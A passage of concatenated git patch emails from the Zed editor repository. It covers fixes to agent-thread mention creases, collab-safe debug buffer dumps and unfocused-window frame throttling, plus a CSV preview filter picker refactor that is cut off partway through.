Pass the workspace through the action-completion callback and provide
both values to the shared crease renderer, enabling its existing
navigation behavior.

## Testing

I tested these changes locally.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

## Showcase

Before:


https://github.com/user-attachments/assets/8dd4a2d0-4b22-4fb3-8777-cf97b6436b91

After:


https://github.com/user-attachments/assets/cff1cdb3-804a-45d8-a9c5-fdd8b35b6f8f


---

Release Notes:

- Fixed selection mentions added with "Add to Agent Thread" not opening
their referenced files.
---
 crates/agent_ui/src/completion_provider.rs  | 16 +++++++++++++++-
 crates/agent_ui/src/inline_prompt_editor.rs |  2 ++
 crates/agent_ui/src/mention_set.rs          | 18 +++++++++++++++++-
 crates/agent_ui/src/message_editor.rs       |  1 +
 4 files changed, 35 insertions(+), 2 deletions(-)

diff --git a/crates/agent_ui/src/completion_provider.rs b/crates/agent_ui/src/completion_provider.rs
index ff6f4ca13b11e9..6b6196c43829ad 100644
--- a/crates/agent_ui/src/completion_provider.rs
+++ b/crates/agent_ui/src/completion_provider.rs
@@ -528,7 +528,14 @@ impl<T: PromptCompletionProviderDelegate> PromptCompletionProvider<T> {
                     AgentContextSource::from_active(workspace, cx)?
                         .read_selection(workspace, false, cx)
                 });
-                Self::completion_for_action(action, source_range, editor, mention_set, selection)
+                Self::completion_for_action(
+                    action,
+                    source_range,
+                    editor,
+                    mention_set,
+                    workspace.downgrade(),
+                    selection,
+                )
             }
         }
     }
@@ -815,6 +822,7 @@ impl<T: PromptCompletionProviderDelegate> PromptCompletionProvider<T> {
         source_range: Range<Anchor>,
         editor: WeakEntity<Editor>,
         mention_set: WeakEntity<MentionSet>,
+        workspace: WeakEntity<Workspace>,
         selection: Option<AgentContextSelection>,
     ) -> Option<Completion> {
         let (new_text, on_action) = match action {
@@ -824,6 +832,7 @@ impl<T: PromptCompletionProviderDelegate> PromptCompletionProvider<T> {
                         source_range.clone(),
                         editor,
                         mention_set,
+                        workspace,
                         editor_selections,
                     )
                 }
@@ -2702,6 +2711,7 @@ fn completion_text_for_editor_selections(
     source_range: Range<Anchor>,
     editor: WeakEntity<Editor>,
     mention_set: WeakEntity<MentionSet>,
+    workspace: WeakEntity<Workspace>,
     editor_selections: Vec<(Entity<Buffer>, Range<text::Anchor>)>,
 ) -> (String, ConfirmCallback) {
     const EDITOR_PLACEHOLDER: &str = "selection ";
@@ -2725,6 +2735,7 @@ fn completion_text_for_editor_selections(
             let editor = editor.clone();
             let selections = selections.clone();
             let mention_set = mention_set.clone();
+            let workspace = workspace.clone();
             let source_range = source_range.clone();
             window.defer(cx, move |window, cx| {
                 if let Some(editor) = editor.upgrade()
@@ -2736,6 +2747,7 @@ fn completion_text_for_editor_selections(
                                 source_range.clone(),
                                 selections,
                                 editor.clone(),
+                                workspace,
                                 window,
                                 cx,
                             )
@@ -2794,6 +2806,8 @@ fn completion_text_for_terminal_selections(
                         mention_uri.name().into(),
                         mention_uri.icon_path(cx),
                         None,
+                        None,
+                        None,
                         range,
                         editor.downgrade(),
                     );
diff --git a/crates/agent_ui/src/inline_prompt_editor.rs b/crates/agent_ui/src/inline_prompt_editor.rs
index b5fca12fc58c53..a541baa7cba5fa 100644
--- a/crates/agent_ui/src/inline_prompt_editor.rs
+++ b/crates/agent_ui/src/inline_prompt_editor.rs
@@ -1615,6 +1615,8 @@ fn insert_message_creases(
                 crease.label.clone(),
                 crease.icon_path.clone(),
                 None,
+                None,
+                None,
                 start..end,
                 cx.weak_entity(),
             )
diff --git a/crates/agent_ui/src/mention_set.rs b/crates/agent_ui/src/mention_set.rs
index d04f222e186a5b..97d2dfbca6f35e 100644
--- a/crates/agent_ui/src/mention_set.rs
+++ b/crates/agent_ui/src/mention_set.rs
@@ -520,6 +520,7 @@ impl MentionSet {
         source_range: Range<text::Anchor>,
         selections: Vec<(Entity<Buffer>, Range<text::Anchor>, Range<usize>)>,
         editor: Entity<Editor>,
+        workspace: WeakEntity<Workspace>,
         window: &mut Window,
         cx: &mut Context<Self>,
     ) {
@@ -559,6 +560,8 @@ impl MentionSet {
                 selection_name(abs_path.as_deref(), &line_range).into(),
                 uri.icon_path(cx),
                 uri.tooltip_text(),
+                Some(uri.clone()),
+                Some(workspace.clone()),
                 range,
                 editor.downgrade(),
             );
@@ -1143,11 +1146,20 @@ pub(crate) fn crease_for_mention(
     label: SharedString,
     icon_path: SharedString,
     tooltip: Option<SharedString>,
+    mention_uri: Option<MentionUri>,
+    workspace: Option<WeakEntity<Workspace>>,
     range: Range<Anchor>,
     editor_entity: WeakEntity<Editor>,
 ) -> Crease<Anchor> {
     let placeholder = FoldPlaceholder {
-        render: render_fold_icon_button(icon_path.clone(), label.clone(), tooltip, editor_entity),
+        render: render_fold_icon_button(
+            icon_path.clone(),
+            label.clone(),
+            tooltip,
+            mention_uri,
+            workspace,
+            editor_entity,
+        ),
         merge_adjacent: false,
         ..Default::default()
     };
@@ -1162,6 +1174,8 @@ fn render_fold_icon_button(
     icon_path: SharedString,
     label: SharedString,
     tooltip: Option<SharedString>,
+    mention_uri: Option<MentionUri>,
+    workspace: Option<WeakEntity<Workspace>>,
     editor: WeakEntity<Editor>,
 ) -> Arc<dyn Send + Sync + Fn(FoldId, Range<Anchor>, &mut App) -> AnyElement> {
     Arc::new({
@@ -1171,6 +1185,8 @@ fn render_fold_icon_button(
                 .unwrap_or_default();
 
             MentionCrease::new(fold_id, icon_path.clone(), label.clone())
+                .mention_uri(mention_uri.clone())
+                .workspace(workspace.clone())
                 .is_toggled(is_in_text_selection)
                 .when_some(tooltip.clone(), |this, tooltip_text| {
                     this.tooltip(tooltip_text)
diff --git a/crates/agent_ui/src/message_editor.rs b/crates/agent_ui/src/message_editor.rs
index f98625df4b5410..61ccdc07f5b4d6 100644
--- a/crates/agent_ui/src/message_editor.rs
+++ b/crates/agent_ui/src/message_editor.rs
@@ -1599,6 +1599,7 @@ impl MessageEditor {
                 anchor..anchor,
                 self.editor.downgrade(),
                 self.mention_set.downgrade(),
+                self.workspace.clone(),
                 Some(selection),
             )
         else {

From e191dd00c7e36cfcbbdccad2babca096067777c0 Mon Sep 17 00:00:00 2001
From: Eric Holk <eric@zed.dev>
Date: Sat, 25 Jul 2026 18:19:29 -0700
Subject: [PATCH 701/772] Fix crash when dumping debug buffers in a collab
 session (#61616)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

The `dev: dump input latency histogram` and `dev: dump accessibility
tree` actions called `Project::create_local_buffer`, which panics on
remote projects — so running either one as a guest in a collab session
aborted the whole app. Both now use the async `Project::create_buffer` +
`set_text` instead (the same pattern `open_log_file` uses), which routes
through the collab protocol on remote projects.

Since the collab-created buffer is visible to other participants, the
latency report now includes a "Reported from <username>'s machine" line
when the project is shared, using the collab username so we don't expose
anything that isn't already shared with the session.

While restructuring the handler I also split snapshotting from
formatting: the histogram snapshot (and the delta baseline) is captured
synchronously when the action fires, and the report string is built on a
background task. The accessibility tree dump stays synchronous because
gpui doesn't currently expose the captured tree data outside the window
borrow, and adding public API for a debug action's JSON pretty-print
didn't seem worth it.

Release Notes:

- Fixed a crash when running the `dev: dump input latency histogram` or
`dev: dump accessibility tree` actions in a shared project.
---
 crates/gpui/src/window.rs                     |   1 +
 .../input_latency_ui/src/input_latency_ui.rs  |  59 ++++++++--
 crates/zed/src/zed.rs                         | 103 ++++++++++++------
 3 files changed, 117 insertions(+), 46 deletions(-)

diff --git a/crates/gpui/src/window.rs b/crates/gpui/src/window.rs
index 6e85b9989dcdb2..9dd236260e01d2 100644
--- a/crates/gpui/src/window.rs
+++ b/crates/gpui/src/window.rs
@@ -1198,6 +1198,7 @@ impl InputRateTracker {
 /// A point-in-time snapshot of the input-latency histograms for a window,
 /// suitable for external formatting.
 #[cfg(feature = "input-latency-histogram")]
+#[derive(Clone)]
 pub struct InputLatencySnapshot {
     /// Histogram of input-to-frame latency samples, in nanoseconds.
     pub latency_histogram: Histogram<u64>,
diff --git a/crates/input_latency_ui/src/input_latency_ui.rs b/crates/input_latency_ui/src/input_latency_ui.rs
index cdeb7fe9e610ba..4054c6b3c0c131 100644
--- a/crates/input_latency_ui/src/input_latency_ui.rs
+++ b/crates/input_latency_ui/src/input_latency_ui.rs
@@ -11,19 +11,52 @@ actions!(
     ]
 );
 
-/// Generates a formatted text report of the input-to-frame latency histogram
-/// for the given window. If a previous report was generated (tracked via a
-/// global on the `App`), includes a delta section showing changes since that
-/// report.
-pub fn format_input_latency_report(window: &Window, cx: &mut App) -> String {
+/// The data needed to format an input-latency report, captured synchronously
+/// by [`snapshot_input_latency_report`]. Formatting via
+/// [`format_input_latency_report`] is pure computation and can happen on a
+/// background thread.
+pub struct InputLatencyReportData {
+    snapshot: InputLatencySnapshot,
+    previous_snapshot: Option<InputLatencySnapshot>,
+    previous_timestamp: Option<chrono::DateTime<chrono::Local>>,
+    timestamp: chrono::DateTime<chrono::Local>,
+    /// The collab username of the user whose machine produced the data.
+    /// Set when the report will be placed in a buffer visible to other
+    /// collaborators, so it's clear whose latency was measured.
+    reported_by: Option<String>,
+}
+
+/// Captures the input-to-frame latency histogram for the given window, along
+/// with the previous report's baseline (tracked via a global on the `App`) for
+/// delta computation. Advances the baseline to this snapshot.
+pub fn snapshot_input_latency_report(
+    window: &Window,
+    reported_by: Option<String>,
+    cx: &mut App,
+) -> InputLatencyReportData {
     let snapshot = window.input_latency_snapshot();
+    let timestamp = chrono::Local::now();
     let state = cx.default_global::<ReporterState>();
-    let report = format_report(&snapshot, state);
+
+    let data = InputLatencyReportData {
+        snapshot: snapshot.clone(),
+        previous_snapshot: state.previous_snapshot.take(),
+        previous_timestamp: state.previous_timestamp.take(),
+        timestamp,
+        reported_by,
+    };
 
     state.previous_snapshot = Some(snapshot);
-    state.previous_timestamp = Some(chrono::Local::now());
+    state.previous_timestamp = Some(timestamp);
 
-    report
+    data
+}
+
+/// Generates a formatted text report from a previously captured
+/// [`InputLatencyReportData`]. If the capture included a previous snapshot,
+/// includes a delta section showing changes since that report.
+pub fn format_input_latency_report(data: &InputLatencyReportData) -> String {
+    format_report(data)
 }
 
 #[derive(Default)]
@@ -138,7 +171,8 @@ fn count_frames_in_range(histogram: &Histogram<u64>, low_ns: u64, high_ns: u64)
         .sum()
 }
 
-fn format_report(snapshot: &InputLatencySnapshot, previous: &ReporterState) -> String {
+fn format_report(data: &InputLatencyReportData) -> String {
+    let snapshot = &data.snapshot;
     let histogram = &snapshot.latency_histogram;
     let total = histogram.len();
 
@@ -157,7 +191,7 @@ fn format_report(snapshot: &InputLatencySnapshot, previous: &ReporterState) -> S
         ("max  ", 1.0),
     ];
 
-    let now = chrono::Local::now();
+    let now = data.timestamp;
 
     let mut report = String::new();
     report.push_str("Input Latency Histogram\n");
@@ -165,6 +199,9 @@ fn format_report(snapshot: &InputLatencySnapshot, previous: &ReporterState) -> S
 
     let timestamp = now.format("%Y-%m-%d %H:%M:%S %Z");
     report.push_str(&format!("Timestamp: {timestamp}\n"));
+    if let Some(reported_by) = &data.reported_by {
+        report.push_str(&format!("Reported from {reported_by}'s machine\n"));
+    }
     report.push_str(&format!("Samples: {total}\n"));
     if snapshot.mid_draw_events_dropped > 0 {
         report.push_str(&format!(
@@ -217,7 +254,7 @@ fn format_report(snapshot: &InputLatencySnapshot, previous: &ReporterState) -> S
 
     // Delta section: compare against the previous report's snapshot.
     if let (Some(prev_snapshot), Some(prev_timestamp)) =
-        (&previous.previous_snapshot, &previous.previous_timestamp)
+        (&data.previous_snapshot, &data.previous_timestamp)
     {
         let prev_latency = &prev_snapshot.latency_histogram;
         let prev_total = prev_latency.len();
diff --git a/crates/zed/src/zed.rs b/crates/zed/src/zed.rs
index dd107911903fd4..76d27fb23166d9 100644
--- a/crates/zed/src/zed.rs
+++ b/crates/zed/src/zed.rs
@@ -918,15 +918,45 @@ fn register_actions(
              _: &input_latency_ui::DumpInputLatencyHistogram,
              window: &mut Window,
              cx: &mut Context<Workspace>| {
-                let report =
-                    input_latency_ui::format_input_latency_report(window, cx);
                 let project = workspace.project().clone();
-                let buffer = project.update(cx, |project, cx| {
-                    project.create_local_buffer(&report, None, true, cx)
-                });
-                let editor =
-                    cx.new(|cx| Editor::for_buffer(buffer, Some(project), window, cx));
-                workspace.add_item_to_active_pane(Box::new(editor), None, true, window, cx);
+                // In a collab session the report buffer is visible to other
+                // participants, so attribute the data to this user's machine.
+                let reported_by = if project.read(cx).is_shared()
+                    || project.read(cx).is_via_collab()
+                {
+                    workspace
+                        .user_store()
+                        .read(cx)
+                        .current_user()
+                        .map(|user| user.username.to_string())
+                } else {
+                    None
+                };
+                let report_data = input_latency_ui::snapshot_input_latency_report(
+                    window,
+                    reported_by,
+                    cx,
+                );
+                cx.spawn_in(window, async move |workspace, cx| {
+                    let report = cx
+                        .background_spawn(async move {
+                            input_latency_ui::format_input_latency_report(&report_data)
+                        })
+                        .await;
+                    let buffer = project
+                        .update(cx, |project, cx| project.create_buffer(None, true, cx))
+                        .await?;
+                    buffer.update(cx, |buffer, cx| {
+                        buffer.set_text(report, cx);
+                    });
+                    workspace.update_in(cx, |workspace, window, cx| {
+                        let editor = cx
+                            .new(|cx| Editor::for_buffer(buffer, Some(project), window, cx));
+                        workspace
+                            .add_item_to_active_pane(Box::new(editor), None, true, window, cx);
+                    })
+                })
+                .detach_and_log_err(cx);
             },
         )
         .register_action(
@@ -936,39 +966,42 @@ fn register_actions(
              cx: &mut Context<Workspace>| {
                 let json = accessibility_tree_dump(window);
                 let language = workspace.app_state().languages.language_for_name("JSON");
+                let project = workspace.project().clone();
                 cx.spawn_in(window, async move |workspace, cx| {
                     let language = language.await.log_err();
-                    workspace
-                        .update_in(cx, |workspace, window, cx| {
-                            let project = workspace.project().clone();
-                            let buffer = project.update(cx, |project, cx| {
-                                project.create_local_buffer(&json, language, true, cx)
-                            });
-                            let title = "Accessibility Tree".to_string();
-                            let buffer = cx.new(|cx| {
-                                MultiBuffer::singleton(buffer, cx).with_title(title.clone())
-                            });
-                            let editor = cx.new(|cx| {
-                                let mut editor = Editor::for_multibuffer(
-                                    buffer,
-                                    Some(project),
-                                    window,
-                                    cx,
-                                );
-                                editor.set_breadcrumb_header(title);
-                                editor
-                            });
-                            workspace.add_item_to_active_pane(
-                                Box::new(editor),
-                                None,
-                                true,
+                    let buffer = project
+                        .update(cx, |project, cx| {
+                            project.create_buffer(language, true, cx)
+                        })
+                        .await?;
+                    buffer.update(cx, |buffer, cx| {
+                        buffer.set_text(json, cx);
+                    });
+                    workspace.update_in(cx, |workspace, window, cx| {
+                        let title = "Accessibility Tree".to_string();
+                        let buffer = cx.new(|cx| {
+                            MultiBuffer::singleton(buffer, cx).with_title(title.clone())
+                        });
+                        let editor = cx.new(|cx| {
+                            let mut editor = Editor::for_multibuffer(
+                                buffer,
+                                Some(project),
                                 window,
                                 cx,
                             );
-                        })
-                        .log_err();
+                            editor.set_breadcrumb_header(title);
+                            editor
+                        });
+                        workspace.add_item_to_active_pane(
+                            Box::new(editor),
+                            None,
+                            true,
+                            window,
+                            cx,
+                        );
+                    })
                 })
-                .detach();
+                .detach_and_log_err(cx);
             },
         )
         .register_action(

From a50a292fd179f5a4391ee1442b00741a9925cc0f Mon Sep 17 00:00:00 2001
From: Agus Zubiaga <agus@zed.dev>
Date: Sun, 26 Jul 2026 02:33:42 -0300
Subject: [PATCH 702/772] gpui: Fix dropped frames when scrolling an unfocused
 window (#61600)

Scroll events are delivered to the window under the pointer even when it
isn't focused, but we cap inactive windows at ~30fps to save energy, so
scrolling an unfocused window visibly drops frames. We now exempt
high-rate input from the cap using the existing `InputRateTracker`: a
trackpad scroll stream lifts it while events are arriving and for one
second after the last burst, then the cap resumes on its own.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

---

Release Notes:

- Fixed dropped frames when scrolling unfocused windows.
---
 crates/gpui/src/window.rs | 9 ++++++---
 1 file changed, 6 insertions(+), 3 deletions(-)

diff --git a/crates/gpui/src/window.rs b/crates/gpui/src/window.rs
index 9dd236260e01d2..292126e6d883b3 100644
--- a/crates/gpui/src/window.rs
+++ b/crates/gpui/src/window.rs
@@ -1589,13 +1589,16 @@ impl Window {
 
                 // Throttle frame rate based on conditions:
                 // - Thermal pressure (Serious/Critical): cap to ~60fps
-                // - Inactive window (not focused): cap to ~30fps to save energy
+                // - Inactive window (not focused): cap to ~30fps to save energy,
+                //   unless input is arriving at a high rate (e.g. scrolling an
+                //   unfocused window, which is delivered to the window under
+                //   the pointer).
                 let min_frame_interval = if !force_render
                     && !request_frame_options.require_presentation
                     && next_frame_callbacks.borrow().is_empty()
                 {
                     None
-                } else if !active.get() {
+                } else if !active.get() && !input_rate_tracker.borrow_mut().is_high_rate() {
                     Some(Duration::from_micros(33333))
                 } else if let Some(ThermalState::Critical | ThermalState::Serious) = thermal_state {
                     Some(Duration::from_micros(16667))
@@ -1638,7 +1641,7 @@ impl Window {
                 // to prevent display underclocking during active input.
                 let needs_present = request_frame_options.require_presentation
                     || needs_present.get()
-                    || (active.get() && input_rate_tracker.borrow_mut().is_high_rate());
+                    || input_rate_tracker.borrow_mut().is_high_rate();
 
                 if invalidator.is_dirty() || force_render {
                     measure("frame duration", || {

From 1764c2fa6776c545ece60357e0e6dd9856a241bc Mon Sep 17 00:00:00 2001
From: Oleksandr Kholiavko <43780952+HalavicH@users.noreply.github.com>
Date: Sun, 26 Jul 2026 12:27:23 +0200
Subject: [PATCH 703/772] csv_preview: Refine filter popover UI (#61138)

# Objective

- The column filter popover was a static `ContextMenu`: no search, and
it didn't scale to columns with many unique values.

## Solution

- Replaced it with a `Picker<ColumnFilterDelegate>` with fuzzy search
and match highlighting over the column's unique values.
- Row order is frozen at open time (available first, then values hidden
by other filters under a "Hidden by other filters" header) so toggling a
value doesn't reshuffle the list.
- Added a footer with `{selected} / {total} rows selected` and "Clear
all".
- Added `fuzzy` and `picker` deps to `csv_preview`.

## Testing

- Search narrows to fuzzy matches with highlighting.
- Toggling a value updates its checkmark and footer count without
closing or reordering the list.
- Values excluded by another column's filter show disabled under "Hidden
by other filters".
- "Clear all" clears the column's filters and keeps the popover open.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [ ] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable



## Showcase

| Before | After |
| --- | --- |
| <img width="660" height="351" alt="image"
src="https://github.com/user-attachments/assets/c78084a2-d327-4d48-9c05-f35383455713"
/> | <img width="660" height="354" alt="image"
src="https://github.com/user-attachments/assets/910d52ef-4530-4ac7-91ac-3db318cf6c19"
/> |

**+ search**
<img width="972" height="574" alt="image"
src="https://github.com/user-attachments/assets/1a26d0fc-c96c-4973-818d-7d053e8cce73"
/>

---

Release Notes:

- N/A
---
 Cargo.lock                                    |   2 +
 crates/csv_preview/Cargo.toml                 |   2 +
 .../csv_preview/src/renderer/table_header.rs  | 689 ++++++++++++++----
 3 files changed, 532 insertions(+), 161 deletions(-)

diff --git a/Cargo.lock b/Cargo.lock
index 8c6c525480f04f..10cb9751dc8b62 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -4580,8 +4580,10 @@ dependencies = [
  "anyhow",
  "editor",
  "feature_flags",
+ "fuzzy",
  "gpui",
  "log",
+ "picker",
  "text",
  "ui",
  "workspace",
diff --git a/crates/csv_preview/Cargo.toml b/crates/csv_preview/Cargo.toml
index ff4c0a61240356..1dbec1cc58d89c 100644
--- a/crates/csv_preview/Cargo.toml
+++ b/crates/csv_preview/Cargo.toml
@@ -10,8 +10,10 @@ path = "src/csv_preview.rs"
 [dependencies]
 anyhow.workspace = true
 feature_flags.workspace = true
+fuzzy.workspace = true
 gpui.workspace = true
 editor.workspace = true
+picker.workspace = true
 ui.workspace = true
 workspace.workspace = true
 log.workspace = true
diff --git a/crates/csv_preview/src/renderer/table_header.rs b/crates/csv_preview/src/renderer/table_header.rs
index 444ee09099338e..bc96f239026e5b 100644
--- a/crates/csv_preview/src/renderer/table_header.rs
+++ b/crates/csv_preview/src/renderer/table_header.rs
@@ -1,6 +1,19 @@
-use gpui::ElementId;
+use std::{
+    collections::HashMap,
+    sync::{
+        Arc,
+        atomic::{AtomicBool, Ordering},
+    },
+};
+
+use fuzzy::{StringMatch, StringMatchCandidate, match_strings};
+use gpui::{
+    BackgroundExecutor, DismissEvent, ElementId, Entity, Focusable, ForegroundExecutor, Task,
+};
+use picker::{Picker, PickerDelegate};
 use ui::{
-    ContextMenu, GradientFade, IconButton, IconName, IconSize, PopoverMenu, Tooltip, prelude::*,
+    Color, GradientFade, HighlightedLabel, Icon, IconButton, IconName, IconSize, Label, LabelSize,
+    ListItem, ListItemSpacing, PopoverMenu, Tooltip, prelude::*,
 };
 
 use crate::{
@@ -13,6 +26,494 @@ use crate::{
     types::AnyColumn,
 };
 
+struct ColumnFilterRow {
+    entry: FilterEntry,
+    is_applied: bool,
+    /// Set when this value is hidden because another column's active filter
+    /// excludes every row containing it.
+    hidden_by: Option<AnyColumn>,
+}
+
+enum ColumnFilterListEntry {
+    Header(SharedString),
+    Row {
+        row_index: usize,
+        positions: Vec<usize>,
+    },
+}
+
+struct ColumnFilterDelegate {
+    col: AnyColumn,
+    view: Entity<CsvPreviewView>,
+    /// Row order frozen at open time (available entries sorted per the
+    /// column's `FilterSortOrder`, then entries hidden by other columns'
+    /// filters). Kept stable so toggling a value doesn't reshuffle the list
+    /// under the user's cursor; only `is_applied`/`hidden_by`/counts are
+    /// refreshed in place after a toggle.
+    rows: Vec<ColumnFilterRow>,
+    /// Number of available (non-hidden) rows, shown in the search placeholder.
+    available_count: usize,
+    string_candidates: Arc<Vec<StringMatchCandidate>>,
+    filtered: Vec<ColumnFilterListEntry>,
+    selected_index: usize,
+    query: String,
+    foreground: ForegroundExecutor,
+    background: BackgroundExecutor,
+    cancel: Option<Arc<AtomicBool>>,
+}
+
+impl ColumnFilterDelegate {
+    fn new(
+        col: AnyColumn,
+        view: Entity<CsvPreviewView>,
+        sort_order: FilterSortOrder,
+        column_filters: Arc<Vec<(FilterEntry, FilterEntryState)>>,
+        cx: &mut Context<Picker<Self>>,
+    ) -> Self {
+        let mut available: Vec<(FilterEntry, bool)> = Vec::new();
+        let mut hidden: Vec<(FilterEntry, AnyColumn)> = Vec::new();
+        for (entry, state) in column_filters.iter() {
+            match state {
+                FilterEntryState::Available { is_applied } => {
+                    available.push((entry.clone(), *is_applied))
+                }
+                FilterEntryState::Unavailable { blocked_by } => {
+                    hidden.push((entry.clone(), *blocked_by))
+                }
+            }
+        }
+
+        match sort_order {
+            FilterSortOrder::AlphaThenCount => available.sort_by(|(a, a_app), (b, b_app)| {
+                b_app
+                    .cmp(a_app)
+                    .then_with(|| a.content.cmp(&b.content))
+                    .then_with(|| b.occurred_times().cmp(&a.occurred_times()))
+            }),
+            FilterSortOrder::CountThenAlpha => available.sort_by(|(a, a_app), (b, b_app)| {
+                b_app
+                    .cmp(a_app)
+                    .then_with(|| b.occurred_times().cmp(&a.occurred_times()))
+                    .then_with(|| a.content.cmp(&b.content))
+            }),
+        }
+
+        let available_count = available.len();
+
+        let rows: Vec<ColumnFilterRow> = available
+            .into_iter()
+            .map(|(entry, is_applied)| ColumnFilterRow {
+                entry,
+                is_applied,
+                hidden_by: None,
+            })
+            .chain(
+                hidden
+                    .into_iter()
+                    .map(|(entry, blocked_by)| ColumnFilterRow {
+                        entry,
+                        is_applied: false,
+                        hidden_by: Some(blocked_by),
+                    }),
+            )
+            .collect();
+
+        let string_candidates = Arc::new(
+            rows.iter()
+                .enumerate()
+                .map(|(index, row)| {
+                    StringMatchCandidate::new(index, &Self::display_text(&row.entry))
+                })
+                .collect::<Vec<_>>(),
+        );
+
+        let filtered = Self::build_entries(
+            &rows,
+            rows.iter()
+                .enumerate()
+                .map(|(index, _)| (index, Vec::new()))
+                .collect(),
+        );
+
+        Self {
+            col,
+            view,
+            rows,
+            available_count,
+            string_candidates,
+            filtered,
+            selected_index: 0,
+            query: String::new(),
+            foreground: cx.foreground_executor().clone(),
+            background: cx.background_executor().clone(),
+            cancel: None,
+        }
+    }
+
+    fn display_text(entry: &FilterEntry) -> String {
+        match &entry.content {
+            Some(s) => s.as_ref().to_owned(),
+            None => "<null>".to_owned(),
+        }
+    }
+
+    /// Assembles the flat list shown to the user from matched
+    /// `(row_index, positions)` pairs (which must be sorted ascending by
+    /// `row_index`, matching `rows`' available-then-hidden order), inserting a
+    /// "Hidden by other filters" header before the first hidden row.
+    fn build_entries(
+        rows: &[ColumnFilterRow],
+        matches: Vec<(usize, Vec<usize>)>,
+    ) -> Vec<ColumnFilterListEntry> {
+        let mut entries = Vec::with_capacity(matches.len() + 1);
+        let mut header_inserted = false;
+        for (row_index, positions) in matches {
+            if rows[row_index].hidden_by.is_some() && !header_inserted {
+                entries.push(ColumnFilterListEntry::Header(
+                    "Hidden by other filters".into(),
+                ));
+                header_inserted = true;
+            }
+            entries.push(ColumnFilterListEntry::Row {
+                row_index,
+                positions,
+            });
+        }
+        entries
+    }
+
+    fn first_selectable_index(&self) -> usize {
+        self.filtered
+            .iter()
+            .position(|entry| {
+                matches!(entry, ColumnFilterListEntry::Row { row_index, .. }
+                    if self.rows[*row_index].hidden_by.is_none())
+            })
+            .unwrap_or(0)
+    }
+
+    fn matches_for_query(&self, query: &str) -> Vec<(usize, Vec<usize>)> {
+        if query.is_empty() {
+            return self
+                .rows
+                .iter()
+                .enumerate()
+                .map(|(index, _)| (index, Vec::new()))
+                .collect();
+        }
+
+        let cancel_flag = AtomicBool::new(false);
+        let mut matches: Vec<StringMatch> = self.foreground.block_on(match_strings(
+            self.string_candidates.as_ref(),
+            query,
+            false,
+            true,
+            usize::MAX,
+            &cancel_flag,
+            self.background.clone(),
+        ));
+        matches.sort_by_key(|m| m.candidate_id);
+        matches
+            .into_iter()
+            .map(|m| (m.candidate_id, m.positions))
+            .collect()
+    }
+
+    /// Re-fetches this column's filter entries from the engine (e.g. after a
+    /// toggle changes counts/availability across the cascade) while keeping
+    /// `rows`' frozen order, then re-applies the current search query.
+    fn refresh_rows(&mut self, cx: &mut Context<Picker<Self>>) {
+        let column_filters = match self.view.read(cx).engine.get_filters_for_column(self.col) {
+            Ok(filters) => filters,
+            Err(err) => {
+                log::error!("Failed to get filters for column: {err}");
+                return;
+            }
+        };
+
+        let mut lookup: HashMap<Option<SharedString>, (FilterEntry, FilterEntryState)> =
+            column_filters
+                .iter()
+                .map(|(entry, state)| (entry.content.clone(), (entry.clone(), *state)))
+                .collect();
+
+        for row in &mut self.rows {
+            let Some((entry, state)) = lookup.remove(&row.entry.content) else {
+                continue;
+            };
+            row.entry = entry;
+            match state {
+                FilterEntryState::Available { is_applied } => {
+                    row.is_applied = is_applied;
+                    row.hidden_by = None;
+                }
+                FilterEntryState::Unavailable { blocked_by } => {
+                    row.is_applied = false;
+                    row.hidden_by = Some(blocked_by);
+                }
+            }
+        }
+
+        self.filtered = Self::build_entries(&self.rows, self.matches_for_query(&self.query));
+        self.selected_index = self
+            .selected_index
+            .min(self.filtered.len().saturating_sub(1));
+    }
+}
+
+impl PickerDelegate for ColumnFilterDelegate {
+    type ListItem = AnyElement;
+
+    fn name() -> &'static str {
+        "csv column filter"
+    }
+
+    fn match_count(&self) -> usize {
+        self.filtered.len()
+    }
+
+    fn selected_index(&self) -> usize {
+        self.selected_index
+    }
+
+    fn set_selected_index(
+        &mut self,
+        ix: usize,
+        _window: &mut Window,
+        cx: &mut Context<Picker<Self>>,
+    ) {
+        self.selected_index = ix.min(self.filtered.len().saturating_sub(1));
+        cx.notify();
+    }
+
+    fn can_select(&self, ix: usize, _window: &mut Window, _cx: &mut Context<Picker<Self>>) -> bool {
+        match self.filtered.get(ix) {
+            Some(ColumnFilterListEntry::Row { row_index, .. }) => {
+                self.rows[*row_index].hidden_by.is_none()
+            }
+            _ => false,
+        }
+    }
+
+    fn placeholder_text(&self, _window: &mut Window, _cx: &mut App) -> Arc<str> {
+        format!("Search {} unique values…", self.available_count).into()
+    }
+
+    fn update_matches(
+        &mut self,
+        query: String,
+        window: &mut Window,
+        cx: &mut Context<Picker<Self>>,
+    ) -> Task<()> {
+        self.query = query.clone();
+
+        if query.is_empty() {
+            self.filtered = Self::build_entries(&self.rows, self.matches_for_query(&query));
+            self.selected_index = self.first_selectable_index();
+            cx.notify();
+            return Task::ready(());
+        }
+
+        if let Some(prev) = &self.cancel {
+            prev.store(true, Ordering::Relaxed);
+        }
+        let cancel = Arc::new(AtomicBool::new(false));
+        self.cancel = Some(cancel.clone());
+
+        let string_candidates = self.string_candidates.clone();
+        let background = self.background.clone();
+
+        cx.spawn_in(window, async move |this, cx| {
+            let mut matches = match_strings(
+                string_candidates.as_ref(),
+                &query,
+                false,
+                true,
+                usize::MAX,
